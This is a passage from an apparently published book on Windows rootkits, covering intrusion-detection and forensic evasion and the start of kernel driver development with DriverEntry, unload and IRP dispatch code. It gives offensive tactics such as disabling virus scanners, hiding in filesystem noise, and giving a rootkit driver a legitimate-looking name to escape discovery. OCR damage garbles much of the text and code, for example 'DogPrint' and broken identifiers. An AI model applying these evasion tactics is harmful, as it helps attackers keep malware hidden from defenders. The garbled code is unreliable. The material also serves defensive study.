problem. The root of the problem lies within the software itself. Bluntly stated, most software is not
secure. Companies like Microsoft are making huge strides in designing better security for the future, but
current operating-system code iswritten in C or C++, computer languages that by their very nature
introduce severe security holes. These languages give rise to a problem known as buffer-overflow
exploits. The buffer-overflow bug is the most significant weakness in software today. It has been the
enabler for thousands of software exploits. And, it's a bugan accident that can be fixed.[26]

[26] Although buffer-overflow bugs are not confined to C and C++ code, the C and C++ programming languages make it



difficult to ensure safe coding practices. The languages are not type-safe (discussed later in this chapter), use built-in
functions that can overflow buffers, and are difficult to debug.

Buffer-overflow exploits will eventually go away, but not in the near future. Although a disciplined
programmer can write code that does not have buffer-overflow bugs (thisis regardless of language; even
aprogram written by hand in Assembly can be secure), most programmers are not that diligent. The
current trend is to enforce safe coding practices and follow this up with automated code-scanning tools
to catch mistakes. Microsoft uses a set of internal tools for this purpose.[27]

[27] For example, PREfix and PREfast were developed and deployed by Jon Pincus, Microsoft Research. See
http://research.microsoft.com/users/j pincus/

Automated code-scanning tools can catch some bugs, but not all of them. Most computer programs are
very complex, and it can be difficult to test them thoroughly in an automated fashion. Some programs
may have too many states to possibly evaluate.28] In fact, it is possible for a computer program to have
more potential states than there are particlesin the universe.[2%] Given this potential complexity, it can
be very hard to make any determination about the security of a computer program.

(28] A "state" islike an internal configuration within the software. Every time the software does something, the state will
change. Thus, most software has a huge number of potential states.

[29] To understand this, consider the theoretical bounds for the number of permutations of a string of binary bits. For
example, imagine a 160MB software application that uses 16MB (10% of itstotal size) of memory to store state. That
program could, in theory, have up to 216,777,216 different operational states, which isfar, far larger than the number of
particles in the universe (variously estimated at around 10*80). [Thanks to Aaron Bornstein for this clarifying example.]

The adoption of type-safe languages (such as Java and C#) would nearly eliminate the risk of buffer
overflows. Although atype-safe language is not guaranteed to be secure, it significantly reduces the risks
of buffer overflows, sign-conversion bugs, and integer overflows (see sidebar on page 15).
Unfortunately, these languages cannot match the performance of C or C++, and most of Microsoft
Windowseven the latest and greatest versionstill runs old C and C++ code. Developers of embedded
systems have begun to adopt type-safe languages, but even this uptake is slowand the millions of legacy
systems out there will not be replaced any time soon. What this meansis that old-fashioned software
exploits will be around for awhile.


http://research.microsoft.com/users/jpincus/

Offensive Rootkit Technologies

A good rootkit should be able to bypass any security measures, such asfirewalls or intrusion-detection
systems (IDSes). There aretwo primary types of IDSes: network-based (NIDS) and host-based (HIDS).
Sometimes HIDSes are designed to try to stop attacks before they succeed. These "active defense”
systems are sometimes referred to as a host-based intrusion-prevention systems (HIPSes). To simplify
the discussion, we refer to these systems as HIPS from now on.

HIPS

HIPS technology can be home-grown or bought off-the-shelf. Examples of HIPS software include:

Blink (eEye Digital Security, www.eEye.com)

Integrity Protection Driver (IPD, Pedestal Software, www.pedestal.com)

Entercept (www.networkassoci ates.com)

Okena StormWatch (now called Cisco Security Agent, www.cCiSco.com)

LIDS (Linux Intrusion Detection System, www.lids.org)

o WatchGuard ServerLock (www.watchguard.com)

For the rootkit, the biggest threat is HIPS technology. A HIPS can sometimes detect arootkit as it
installsitself, and can also intercept arootkit as it communicates with the network. Many HIPSes will
utilize kernel technology and can monitor operating systems. In a nutshell, HIPS is an anti-rootkit. This
means that anything arootkit does on the system most likely will be detected and stopped. When using a
rootkit against a HIPS-protected system, there are two choices: bypass the HIPS, or pick an easier target.

Chapter 10 in this book covers the development of HIPS technology. The chapter also includes
examples of anti-rootkit code. The code can help you understand how to bypass a HIPS and can also
assist you in constructing your own rootkit-protection system.

NIDS

Network-based IDS (NIDS) is aso aconcern for rootkit developers, but awell-designed rootkit can
evade a production NIDS. Although, in theory, statistical analysis can detect covert communication
channels, inreality thisisrarely done. Network connectionsto arootkit will likely use a covert channel
hidden within innocent-looking packets. Any important data transfer will be encrypted. Most NIDS
deployments deal with large data streams (upward of 300 M B/second), and the little trickle of data going
to arootkit will pass by unnoticed. The NIDS poses alarger detection threat when a publicly known
exploit is used in conjunction with arootkit.[30l

[30] When using a publicly known exploit, an attacker may craft the exploit code to mimic the behavior of an already-
released worm (for example, the Blaster worm). Most security administrators will mistake the attack as simply actions of



the known worm, and thus fail to recognize a unique attack.

Bypassing the IDS/IPS

To bypassfirewalls and IDS/IPS software, there are two approaches: active and passive. Both
approaches must be combined to create arobust rootkit. Active offenses operate at runtime and are
designed to prevent detection. Just in case someone gets suspicious, passive offenses are applied "behind
the scenes’ to make forensics as difficult as possible.

Active offenses are modifications to the system hardware and kernel designed to subvert and confuse
intrusion-detection software. Active measures are usually required in order to disable HIPS software
(such as Okena and Entercept). In general, active offense is used against software which runsin memory
and attempts to detect rootkits. Active offenses can also be used to render system-administration tools
useless for detecting an attack. A complex offense could render any security software tool ineffective.
For example, an active offense could locate a virus scanner and disableit.

Passive offenses are obfuscations in data storage and transfer. For example, encrypting data before
storing it in the file system is a passive offense. A more advanced offense would be to store the
decryption key in non-volatile hardware memory (such as flash RAM or EEPROM) instead of in thefile
system. Another form of passive offense is the use of covert channels for exfiltration of data out of the
network.

Finally, arootkit should not be detected by avirus scanner. Virus scanners not only operate at runtime,
they can also be used to scan afile system "offline." For example, ahard drive on alab bench can be
forensically analyzed for viruses. To avoid detection in such cases, arootkit must hideitself in thefile
system so that it cannot be detected by the scanner.

Bypassing Forensic Tools

Ideally, arootkit should never be detected by forensic scanning. But the problem is hard to solve.
Powerful tools exist to scan hard drives. Some tools, such as Encase,[3] "look for the bad" and are used
when a system is suspected of an infection. Other tools, such as Tripwire, "look for the good" and are
used to ensure that a system remains uninfected.

[31] \www.encase.com

A practitioner using atool like Encase will scan the drive for byte patterns. Thistool can look at the
entire drive, not just regular files. Slack space and deleted files will be scanned. To avoid detection in
this case, the rootkit should not have easily identifiable patterns. The use of steganography can be
powerful in this area. Encryption can also be used, but tools used to measure the randomness of data
may locate encrypted blocks of data. If encryption is used, the part of the rootkit responsible for
decryption would need to stay un-encrypted (of course). Polymorphic techniques can be used to mutate
the decryptor code for further protection. Remember that the tool is only as good as the forensic
technicians who driveit. If you think of some way to hide that they have not, you might escape
detection.

Tools that perform cryptographic hashing against the file system, such as Tripwire, require a database of



hashes to be made from a clean system. In theory, if acopy of a clean system (that is, a copy of the hard
drive) is made before the rootkit infection takes place, an offline analysis can be performed that
compares the new drive image to the old one. Any differences on the drive image will be noted. The
rootkit will certainly be one difference, but there will be others aswell. Any running system will change
over time. To avoid detection, arootkit can hide in the regular noise of the file system. Additionally,
these tools only look at files, and, they may only look at some filesmaybe just files considered important.
They don't address data stored in non-conventional ways (for example, in bad sectors on adrive).
Furthermore, temporary datafiles are likely to be ignored. This leaves many potential places to hide that
will not be checked.

If an attacker isreally worried that the system administrator has all things hashed and the rootkit will be
detected, she could avoid the file system altogetherperhaps installing a rootkit into memory and never
using the drive. One drawback, of course, isthat arootkit stored in volatile memory will vanish if the
system reboots.

To take things to an extreme, perhaps arootkit can install itself into firmware present in the BIOS or a
flash RAM chip somewhere.



Conclusion

First-generation rootkits were just normal programs. Today, rootkits are typically packaged as device
drivers. Over the next few years, advanced rootkits may modify or install into the microcode of a
processor, or exist primarily in the microchips of a computer. For example, it is not inconceivable that
the bitmap for an FPGA (field programmable gate array) could be modified to include a back door.[32]
Of course, thistype of rootkit would be crafted for avery specific target. Rootkits that use more generic
operating-system services are more likely to be in widespread use.

[32] This assumes that there is enough room (in terms of gates) to add features to an FPGA. Hardware manufacturers try
to save money on every component, so an FPGA will be as small as possible for the application. There may not be much
room left in the gate array for anything new. To insert arootkit into atight spot like this may require removal of other
features.

The kind of rootkit technology that could hide within an FPGA is not suitable for use by a network
worm. Hardware-specific attacks don't work well for worms. The network-worm strategy is facilitated
by large-scale, homogenous computing. In other words, network worms work best when all the targeted
softwareis the same. In the world of hardware-specific rootkits, there are many small differences that
make multiple-target attacks difficult. It is much more likely that hardware-based attacks would be used
against a specific target the attacker can analyze in order to craft arootkit specifically for that target.

Aslong as software exploits exist, rootkits will use these exploits. They work together naturally.
However, even if such exploits were not possible, rootkits would still exist.

In the next few decades or so, the buffer overflow, currently the "king of al software exploits," will be
dead and buried. Advances in type-safe languages, compilers, and virtual-machine technol ogies will
render the buffer overflow ineffective, striking a huge blow against those who rely on remote
exploitation. This doesn't mean exploits will go away. The new world of exploiting will be based on
logic errors in programs rather than on the architecture flaw of buffer overflow.

With or without remote exploitation, however, rootkits will persist. Rootkits can be placed into systems
at many stages, from development to delivery. Aslong as there are people, people will want to spy on
other people. This means rootkits will always have a place in our technology. Backdoor programs and
technology subversions are timel ess!



Chapter 2. Subverting the Kernel

There was no trace then of the horror which | had myself feltat this curt declaration; but his face
showed rather the quiet and interested composure of the chemist who sees the crystals falling into
position from his oversaturated solution.

THE VALLEY OF FEAR, SIR ARTHUR CONAN DOYLE

Computers of all shapes and sizes have software installed on them, and most computers have an
operating system. The operating system is the core set of software programs that provide servicesto the
other programs on the computer. Many operating systems multitask, allowing multiple programs to be
run simultaneously.

Different computing devices can contain different operating systems. For instance, the most widely used
operating system on PCsis Microsoft's Windows. A large number of servers on the Internet run Linux or
Sun Solaris, while many others run Windows. Embedded devicestypically run the VXWorks operating
system, and many cellular phones use Symbian.

Regardless of the devices on which it isinstalled, every operating system (OS) has one common
purpose: to provide asingle, consistent interface that application software can use to access the device.
These core services control access to the device's file system, network interface, keyboard, mouse, and
video/LCD display.

A secondary function of the OSisto provide debugging and diagnostic information about the system.
For example, most operating systems can list the running or installed software. Most have logging
mechanisms, so that applications can report when they have crashed, when someone failsto login
properly, etc.

Although it is possible to write applications that bypass the OS (undocumented, direct-access methods),
most developers don't do that. The OS provides the "official” mechanism for access, and frankly, it's
much easier to just use the OS. Thisiswhy nearly all applications use the OS for these servicesand it's
why arootkit that changes the OS will affect nearly all software.

In this chapter we jump right in and start writing our very first rootkit for Windows. We will introduce
source code and explain how to set up your development environment. We also cover some basic
information about the kernel, and how device drivers work.



Important Kernel Components

In order to understand how rootkits can be used to subvert an OS kernel, it helps to know which
functions the kernel handles. Table 2-1 describes each major functional component of the kernel.

Table 2-1. Functional components of the kernel.

Process management Processes need CPU time. The kernel contains code to assign this CPU
time. If the OS supports threads, the kernel will schedule time to each
thread. Data structuresin memory keep track of all the threads and
processes. By modifying these data structures, an attacker can hide a
process.

Fileaccess The file system is one of the most important features an OS provides.
Device drivers may be loaded to handle different underlying file
systems (such as NTFS). The kernel provides a consistent interface to
these file systems. By modifying the code in this part of the kernel, an
attacker can hide files and directories.

Security The kernel is ultimately responsible for enforcing restrictions between
processes. Simple systems may not enforce any security at all. For
example, many embedded devices allow any process to access the full
range of memory. On UNIX and MS-Windows systems, the kernel
enforces permissions and separate memory ranges for each process.
Just afew changes to the code in this part of the kernel can remove all
the security mechanisms.

Memory management Some hardware platforms, such as the Intel Pentium family, have
complex memory-management schemes. A memory address can be
mapped to multiple physical locations. For example, one process can
read the memory at address 0x00401111 and get the value "HELLO,"
while another process can read that same memory at address
0x00401111 but get the value "GO AWAY ." The same address points
to two totally different physical memory locations, each containing
different data. (We will discuss more about virtual-to-physical memory
mapping in Chapter 3, The Hardware Connection.) Thisis possible
because the two processes are mapped differently. Exploiting the way
thisworksin the kernel can be very useful for hiding datafrom
debuggers or active forensics software.

Now that we have an idea of the functions of the kernel, we will discuss how a rootkit might be designed
to modify the kernel.






Rootkit Design

An attacker typically designs arootkit to affect a particular OS and software set. If the rootkit is
designed with direct hardware access, then it will be limited to that specific hardware. Rootkits can be
generic to different versions of an OS, but will still be limited to agiven OS family. For example, some
rootkits in the public domain affect all flavors of Windows NT, 2000, and XP. Thisis possible only
when all the flavors of the OS have similar data structures and behaviors. It would be far lessfeasible to
create a generic rootkit that can infect both Windows and Solaris, for example.

A rootkit may use more than one kernel module or driver program. For instance, an attacker may use one
driver to handle al file-hiding operations, and another driver to hide registry keys. Distributing the code
across many driver packages is sometimes a Good Thing because it hel ps keep the code manageableas
long as each driver has a specific purpose. It would be hard for an attacker to manage a monolithic
"kitchen-sink" driver that provides every feature known to man.

A complex rootkit project might have many components. It helpsto keep things organized in alarge
project. Although we won't develop any examples that are quite so complex in this book, the following
directory structure might be used by a complex rootkit project:

/' My Root ki t

/src/File Hider

One Rootkit, One System

One rootkit should be enough for any system. A rootkit isinvasive and alters data on the
system. Although attackers generally keep thisinvasive ateration to aminimum, installing
multiple rootkits may cause alterations of alterations, leading to possible corruption.
Rootkits assume, in most cases, that the system is clean. A rootkit may perform checks for
anti-hacker software (such as desktop firewalls), but it usually doesn't check for another
rootkit. If another rootkit were found to be already installed on the system, the attacker's
best strategy might be to "fail out” (that is, stop executing due to an error).

File-hiding code can be complex and should be contained in its own set of source-code files. There are
multiple techniques for file hiding, some of which could require agreat deal of code. For example, some
file-hiding techniques require hooking alarge number of function calls. Each hook requires afair
amount of source code.



[ src/ Network Ops

Network operations require NDIS! 2 and TDI[2l code on Microsoft Windows. These drivers tend to be
large, and they sometimes link to external libraries. Again, it makes sense to confine these features to
their own source files.

(1] Network Driver Interface Specification

(2 Transport Driver Interface

/src/ Regi stry Hider

Registry-hiding operations may require different approaches than file-hiding features. There may be
many hooks involved, and perhaps tables or lists of handles that need to be tracked. In practice, registry-
key hiding has been problematic due to the way keys and values relate to one another. This has caused
some rootkit devel opersto craft rather complex solutions to the problem. Again, this feature set should
be confined to its own set of sourcefiles.

/ src/ Process Hi der

Process hiding should use Direct Kernel Object Manipulation (DKOM) techniques (described in
Chapter 7). These files may contain reverse-engineered data structures and other information.

/ src/ Boot Service

Most rootkits will need to be restarted if the computer reboots. An attacker would include atiny service
here that is used to "kick start”" the rootkit at boot time. Getting a rootkit to restart with the computer isa
complex topic. On the one hand, a simple registry key change can cause afile to lauch on boot-up. On
the other hand, such an approach is easily detected. Some rootkit devel opers have crafted complex boot
capabiltiesthat involve on-disk kernel patches and modifications to the system boot-loader program.



/inc

Commonly included files containing typedefs, enums, and 1/0 Control (IOCTL) codeswill go here.
Thesefiles aretypically shared by all other files, so deserve their own special location.

/ bin

All the compiled fileswill go here.

Ilib

The compiler will have its own set of libraries elsewhere, so the attacker could use this location for her
own additional libraries or third-party libraries.



Introducing Code into the Kernel

The straightforward way to introduce code into the kernel is by using aloadable module (sometimes
called adevice driver or kernel driver). Most modern operating systems alow kernel extensionsto be
loaded so that manufacturers of third-party hardware, such as storage systems, video cards,
motherboards, and network hardware, can add support for their products. Each operating system usually
supplies documentation and support to introduce these driversinto the kernel. Thisis the easy route, and
is the road we will take to introduce code into the kernel.

Asits name suggests, adevice driver istypicaly for devices. However, any code can be introduced viaa
driver. Once you have code running in the kernel, you have full accessto all of the privileged memory of
the kernel and system processes. With kernel-level access you can modify the code and data structures of
any software on the computer.

A typical module would include an entry point and perhaps a cleanup routine. For example, a Linux-
loadable module may look something like this:

int init_nodul e(void)

{

}

voi d cl eanup_nodul e(voi d)
{

}

In some cases, such as with Windows device drivers, the entry point must register function callbacks. In
such a case, the module would look like this:

NTSTATUS DriverEntry( ... )

{

theDriver->DriverUnl oad = MyC eanupRout i ne;

}
NTSTATUS Myd eanupRout i ne()



A cleanup routine is not always needed, which is why Windows device drivers make this optional. The
cleanup routine would be required only if you plan on unloading the driver. In many cases, arootkit can
be placed into a system and left there, without any need to unload it. However, it is helpful during
development to have an unload routine because you may want to load newer versions of the rootkit as it
evolves. Most example rootkits provided by rootkit.com include unload routines.[l

(31 A set of basic rootkits known as the "basic_class' can be found at rootkit.com.



Building the Windows Device Driver

Our first example will operate on the Windows XP and 2000 platforms and will be designed as asimple
devicedriver. Inredlity, thisisn't actually arootkit yetit's just asimple "hello world" device driver.

#i ncl ude "ntddk. h"
NTSTATUS DriverEntry( | N PDRI VER _OBJECT t heDri ver Obj ect,
I N PUNI CODE_STRI NG t heRegi stryPath )
{
DogPrint("Hello World!");

return STATUS_SUCCESS,;

Wow, that one was easy, wasn't it? Y ou can load this code into the kernel, and the debug statement will
be posted.[4]

[4] See the section Logging the Debug Statements later in this chapter to learn how to capture debug messages.

Our rootkit will be composed of several items, each of which we describe in the sections that follow.

The Device Driver Development Kit

To build our Windows device driver, we'll need the Driver Development Kit (DDK). DDKs are
available from Microsoft for each version of Windows.[®] Chances are you will want the Windows 2003
DDK. You can build drivers for Windows 2000, X P, and 2003 using this version of the DDK.

(3] Information on Windows DDKsis available at; www.microsoft.com/ddk/

The Build Environments

The DDK provides two different build environments: the checked and the free build environments. Y ou
use the checked-build environment when you're devel oping a device driver, and you use the free-build
environment for release code. The checked build results in debugging checks being compiled into your
driver. The resulting driver will be much larger than the free-build version. Y ou should use the checked
build for most of your development work, and switch to the free build only when you're testing your
final product. While exploring the examplesin this book, checked builds are fine.

The Files



Y ou will write your driver source codein C, and you will give the filename a .c extension. To start your
first project, make a clean directory (a suggestion is C:\myrootkit), and place amydriver.c file there.
Then copy into that file the "hello world" device-driver code shown earlier.

Y ou will also need a SOURCES fileand aMAKEFILE file.
The SOURCES File

Thisfile should be named SOURCES in all-capital letters, with no file extension. The SOURCESfile
should contain the following code:

TARGETNAME=MYDRI VER
TARGETPATH=0BJ
TARGETTYPE=DRI VER

SOURCES=nydri ver.c

The TARGETNAME variable controls what your driver will be named. Remember that this name may
be embedded in the binary itself, so using a TARGETNAME of

MY _EVIL _ROOTKIT_IS GONNA_GET _YOU isnot agood idea. Evenif you later rename thefile,
this string may still existand be discoveredwithin the binary itself.

Better nanmes for the driver are those that look |like legitimte device

Exanpl es include MSDI RECTX, MsSVID_H424, | DE_HD41, SOUNDMCGR, and H323FQ

Many device drivers are already |oaded on a computer. Sometimes you can get great ideas by just
looking at the existing list and coming up with some variations on their names.

The TARGETPATH variable will usually be set to OBJ. This controls where the files go when they are
compiled. Usually your driver fileswill be placed underneath the current directory in the
objchk_xxx/i386 subdirectory.

The TARGETTY PE variable controls the kind of file you are compiling. To create adriver, we use the
type DRIVER.

On the SOURCES line, alist of .c filesis expected. If you want to use multiple lines, you need to place a
backslash ("\") at the end of each line (except the last line). For example:



SOURCES= nyfilel.c \
myfile2.c \

myfile3.c

Notice that there is no trailing backslash character on the last line.

Optionally, you can add the INCLUDES variable and specify multiple directories where include files
will be located. For example:

| NCLUDES= c:\ny_includes \
.\ \Vine

c:\ot her _includes

Create Executables with DDKs

A little-known bit of trivia about Microsoft Driver Development Kitsis that they can be used to compile
regular program executables, not just driver files. To do this, you set the TARGETTYPE to
PROGRAM. There are other types aswell, such as EXPORT_DRIVER, DRIVER_LIBRARY, and
DYNLINK.

If libraries need to be linked in, then you will have a TARGETLIBS variable. We use the NDIS library
for some of our rootkit drivers, so the line might look like this:

TARGETLI BS=$( BASEDI R)\ | i b\ w2k\i 386\ ndis.lib

or this:



TARGETLI BS=$(DDK_LI B_ PATH \ ndis.lib

Y ou may need to find the ndis.lib file on your own system and hard-code the path to it when you're
building the NDIS driver. For examples, see Chapter 9, Covert Channels.

$(BASEDIR) isavariable that specifiesthe DDK install directory. §DDK_LIB_PATH) specifiesthe
location where default libraries are installed. The rest of the path may differ depending on your system
and the DDK version that you're using.

The MAKEFILE File

Finally, create afile named MAKEFILE, using all capita letters, and with no extension. MAKEFILE
should contain the following text on aline by itself:

'l NCLUDE $( NTMAKEENV)\ nakefi | e. def

Running the Build Utility

Once you have the MAKEFILE, SOURCES, and .cfiles, all you need to do is start the checked-build
environment in the DDK, which opens a command shell. The checked-build environment can be found
asalink under the Windows DDK group from the Start MenuPrograms. Once you have the build
environment command shell open, change the active directory to your driver directory and type the
command "build.” Ideally there won't be any errors, and you will now have your very first driver! One
hint: make sure your driver directory isin alocation where the full path does not contain any spaces. For
example, put your driver into c:\myrootkit.

Rootkit.com

Y ou can find an example driver complete with the MAKEFILE and SOURCES files already
created for you at: www.rootkit.com/vault/hoglund/basic_1.zip

The Unload Routine

When you created the driver, atheDriverObject argument was passed into the driver's main function.
This points to a data structure that contains function pointers. One of these function pointersis called the
"unload routine." If we set the unload routine, this means that the driver can be unloaded from memory.
If we do not set this pointer, then the driver can be loaded but never unloaded. Y ou will need to reboot
to remove the driver from memory.



As we continue to develop features for our driver, we will need to load and unload it many times. We
should set the unload routine so that we don't need to reboot every time we want to test a new version of
the driver.

Setting the unload routine is not difficult. We need to create an unload function first, then set the unload
pointer:

/'l BASI C DEVI CE DRI VER

#i ncl ude "ntddk. h"

/1 This is our unload function

VO D OnUnl oad( | N PDRI VER OBJECT Driver Obj ect )

{
DogPrint (" OnUnl oad cal | ed\ n");

}
NTSTATUS DriverEntry(I N PDRI VER _OBJECT theDriver Qbj ect,

I N PUNI CODE_STRI NG t heRegi st r yPat h)

{
DogPrint ("1 |oaded!");
/[l Initialize the pointer to the unload function
/1 in the DriverQbject
t heDriver Qbj ect->DriverUnload = OnUnl oad;
return STATUS SUCCESS;

}

Now we can safely load and unload the driver without rebooting.



Loading and Unloading the Driver

Loading and unloading the driver is easy. For starters, just download the InstDrv tool from
rootkit.com. 6]

(6] The InstDrv tool was not written by members of rootkit.com; it is hosted there as a convenience.

Rootkit.com

Y ou can find a copy of the InstDrv tool at: www.rootkit.com/vault/hoglund/InstDvr.zip.

This utility will allow you to register and start/stop your driver. Figure 2-1 shows a screenshot of this
utility.

Figure 2-1. The InstDrv utility.

mstorv x|
Full pathriame of driver

[ztall | Start | Stop | Remove |

Cloze |

Statuiz:

When it comes to real-world use, you will certainly need a better method for loading your driver.
However, this utility works very well while your rootkit isin development. We cover area-world
deployment program under the section Loading the Rootkit later in this chapter.



Logging the Debug Statements

Debug statements provide away for the developer to log important information while a driver executes.
In order to log the messages, you need a debug message capturing tool. A useful tool for capturing
debug statementsis called Debug View, and is available from www.sysinternals.com. Thistool isfree.

Debug statements can be used to print tombstones, markersto indicate that particular lines of code have
executed. Using debug statements can sometimes be easier than using a single-step debugger like
Softlce or WinDbg. Thisis because running atool to capture debug statementsis very easy, while
configuring and using a debugger is complex. With debug statements, return codes can be printed or
error conditions detailed. Figure 2-2 shows an example of a call-hooking rootkit sending debug output to
the system.

Figure 2-2. DebugView captures output from a kernel rootkit.

View full size image
& DebugView on \\HBG-DEMO2 (local)

File Edit Capture Options Computer Halp
SHE | | D= R BBHT| 9F | A
= I Time ] Debug Print

0 0.00000000 WE ARE ALIVE!

1 0.02770212 BHWIN: NewZwQuerySysteminfarmation{) from Dbgview exe

2 0.02773872 real ZwQuerySystaminfo retumed

3 0.05778639 BHWIN: NewZwQuernySystemlinfarmation() from POWERPNT EXE
4 0057582159 real ZwQuerySysteminfo retumed 0

5 030823554 BHWIN: MNewZwQuerySysteminformation() from POWERPNT EXE
6 030827130 real ZwQuerySysteminfo retumed 0

T 0 52850544 BHWIN: NewZw(QuerySysteminformation(} from Dbgview. exe

8

0528535868 real ZwuerySysteminfo returned 0
9 0.55850283 BHWIM: NewZwQuerySysteminformation() from POWERPNT EXE
10 0.55853831 real ZwQuerySysteminfo retumead 0
11 0.6785B652 BHWIMN: NewZwQuerySysteminformation{) from sgqlsanr.axe
12 0.67861586 real ZwQuerySysteminfo returmed 0
13 067864184 BHWIMN: NewZwQuerySysteminformation{) from sglsanr axe
14 067865162 real ZwQuerySysteminfo returned 0

Y ou can print debug statements with Windows drivers by using the following call:

DbgPrint ("sone string");

Many debug or kernel-level logging functions such as DbgPrint are available with most operating
systems. For example, under Linux, aloadable module can use the printk(...) function.






Fusion Rootkits: Bridging User and Kernel Modes

Rootkits can easily contain both user-mode and kernel-mode components (see Figure 2-3). The user-
mode part deals with most of the features, such as networking and remote control, and the kernel-mode
part deals with stealth and hardware access.

Figure 2-3. A fusion rootkit using both user and kernel components.
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Most rootkits require kernel-level subversion while at the same time offering complex features. Because
complex features may contain bugs and require use of system API libraries, the user-mode approach is
preferred.

A user-mode program can communicate with akernel-level driver through avariety of means. One of
the most common is the use of 1/0O Control (IOCTL) commands. IOCTL commands are command
messages that can be defined by the programmer. Y ou should understand the following device-driver
concepts in order to build arootkit that has both user- and kernel-mode components.

I/O Request Packets

One of the device-driver concepts to understand is 1/0O Request Packets (IRPs). In order to communicate
with auser-mode program, a Windows device driver typically needs to handle IRPs. These arejust data
structures which contain buffers of data. A user-mode program can open afile handle and writeto it. In
the kernel, this write operation is represented as an IRP. So, if a user-mode program writes the string
"HELLO DRIVER!" to the file handle, the kernel will create an IRP that contains the buffer and string
"HELLO DRIVER!" Communication can take place between the user and kernel modes viathese IRPs.

In order to process IRPs, the kernel driver must include functions to handle the IRP. Just aswe did in
installing the unload routine, we simply set the appropriate function pointersin the driver object:



NTSTATUS OnSt ubbDi spat ch(1 N PDEVI CE_COBJECT Devi cenj ect,

INPIRP Irp )
{
I rp->loStatus. Status = STATUS_ SUCCESS;
| oConpl et eRequest (I rp,
| O NO_| NCREMVENT ) ;
return STATUS SUCCESS;
}
VO D OnUnl oad( I N PDRI VER OBJECT Driver Qbj ect )
{
DbgPrint (" OnUnl oad cal | ed\n");
}

NTSTATUS DriverEntry( |IN PDRI VER OBJECT t heDri ver Obj ect,

I N PUNI CODE_STRI NG t heRegi stryPath )

int i;

t heDri ver Obj ect->DriverUnl oad = OnUnl oad;
for(i=0;i< | RP_M]_NMAXI MUM FUNCTI ON; i ++ )
{

t heDri ver Obj ect->Maj or Function[i] = OnStubD spatch;

}
return STATUS_SUCCESS;



Figure 2-4 shows the path that user-mode function calls take as they are routed to a kernel-mode driver.

Figure 2-4. Routing of I/O calls through "major-function” pointers.
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In the example code, and as shown in Figure 2-4 , the Mg or Functions are stored in an array and the
locations are marked with the defined values IRP_MJ READ, IRP_MJ WRITE, and

IRP_MJ DEVICE_CONTROL. All of these are set to point to the function OnStubDispatch, whichisa
stub routine that does nothing.

Inareal driver, we would most likely create a separate function for each magjor function. For example,
let's assume we will be handling the READ and WRITE events. These events are triggered when a user-
mode program calls ReadFile or WriteFile with a handle to the driver. A more-compl ete driver might
handle additional functions, such asthose for closing afile or sending an IOCTL command. An example
set of major function pointers follows.

Driver Qbj ect->Mj or Functi on[ | RP_M]_CREATE] = MyQpen;

Driver Qbj ect ->Maj or Function[ | RP_M)_CLOSE] = M/ ose;

Driver Qbj ect - >Maj or Functi on[ | RP_M_READ] = MyRead;

Driver Qobj ect->Maj or Function[IRP_MI_WRITE] = M/Wite;

Driver Qbj ect - >Maj or Function[ | RP_M]_DEVI CE_CONTRCL] = Myl oControl;

For each Magjor Function that is being handled, the driver needs to specify afunction that will be called.



For example, the driver might contain these functions:

NTSTATUS MyOpen(| N PDEVI CE_OBJECT Devi ceCbject, INPIRP Irp )

{

/'l do sonet hi ng

return STATUS SUCCESS;

}
NTSTATUS MyCl ose(| N PDEVI CE_OBJECT Devi ceObject, INPIRP Irp )

{

/'l do somet hi ng

return STATUS SUCCESS;

}
NTSTATUS MyRead(| N PDEVI CE_OBJECT DeviceObject, INPIRP Irp )

{

/'l do somet hi ng

return STATUS SUCCESS;

}
NTSTATUS MyWite(l N PDEVI CE_OBJECT Devi ceCbject, INPIRP Irp )

{

/'l do somet hi ng

return STATUS SUCCESS;



NTSTATUS Myl OCont rol (1 N PDEVI CE_OBJECT Devi ceCbject, INPIRP Irp )
{
Pl O STACK_LOCATION | r pSp;
ULONG Funct i onCode;
lrpSp = loGetCurrentlrpStackLocation(lrp);
Funct i onCode=I r pSp- >Par anet er s. Devi cel oControl . | oCont r ol Code;
switch (FunctionCode)

{

/1l do sonet hi ng

}
return STATUS SUCCESS;

Figure 2-5 shows how user-mode program calls are routed though the Major Function array and
eventually to the driver-defined functions MyRead, MyWrite, and MylOCTL.

Figure 2-5. The kernel driver can define specific callback functions for each type of
"major function.”

[View full size image]
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Now that we know how function callsin user mode trand ate to function callsin the kernel driver, we
will cover how you can expose your driver to user mode using file objects.

Creating a File Handle

Another concept you should understand concerns file handles. In order to use akernel driver from a
user-mode program, the user-mode program must open a handle to the driver. This can occur only if the
driver hasfirst registered a named device. Once it has done that, the user-mode program opens the
named device as though it were afile. Thisis very similar to the way devices work on many UNIX
systems. Everything istreated like afile.

For our example, the kernel driver registers a device using the following code:

const WCHAR devi ceNaneBuffer[] = L"\\Device\\MDevice";
PDEVI CE_OBJECT g_RootkitDevice; // dobal pointer to our device object
NTSTATUS DriverEntry(I N PDRI VER OBJECT Driver (bject,

I N PUNI CODE_STRI NG Regi stryPath )

NTSTATUS nt St at us;

UNI CODE_STRI NG devi ceNaneUni codeStri ng;
/1 Set up our nane and synbolic |ink.
Rtl1nitUnicodeString (&devi ceNanmeUni codeStri ng,

devi ceNaneBuffer );



/'l Set up the device.

11

ntStatus = | oCreateDevice ( Driver(bject,
0, // For driver extension
&devi ceNanmeUni codeStri ng,
0x00001234,
0,
TRUE,

&g Root ki t Devi ce );

In this example code snippet, the DriverEntry routine promptly creates a device named MyDevice.
Notice the fully qualified path that is used in the call:

const WCHAR devi ceNanmeBuffer[] = L"\\Device\\MDevice";

The"L" prefix causes the string to be defined in UNICODE, which isrequired for the API call. Once the
device is created, a user-mode program can open the device as though it were afile:

hDevi ce = CreateFile("\\\\Devi ce\\ MyDevi ce",
GENERI C_READ | GENERI C_ WRI TE,
0,
NULL,
OPEN_EXI STI NG,
FI LE_ATTRI BUTE_NORMAL,

NULL



)i
if ( hDevice == ((HANDLE)-1) )

return FALSE;

Once thefile handleis open, it can be used as a parameter in user-mode functions such as ReadFile and
WriteFile. It can also be used to make IOCTL calls. These operations cause | RPs to be generated which
can then be handled in the driver program.

File handles are easy to open and use from user-mode. Now we will explore how to make file handles
easier to use viasymbolic links.

Adding a Symbolic Link

A third device-driver concept that's important to understand concerns symbolic links. Some drivers use
symbolic links to make opening file handles easier for user-mode programs. Thisis not arequired step,
but it is niceto have: A symbolic name can be easier to remember. Such adriver would create a device,
and then make a call to loCreateSymbolicLink to create the symbolic link. Some rootkits will use this
technique, while others skip it.

const WCHAR devi ceLi nkBuffer[]

L"\\ DosDevi ces\\vi cesys2";
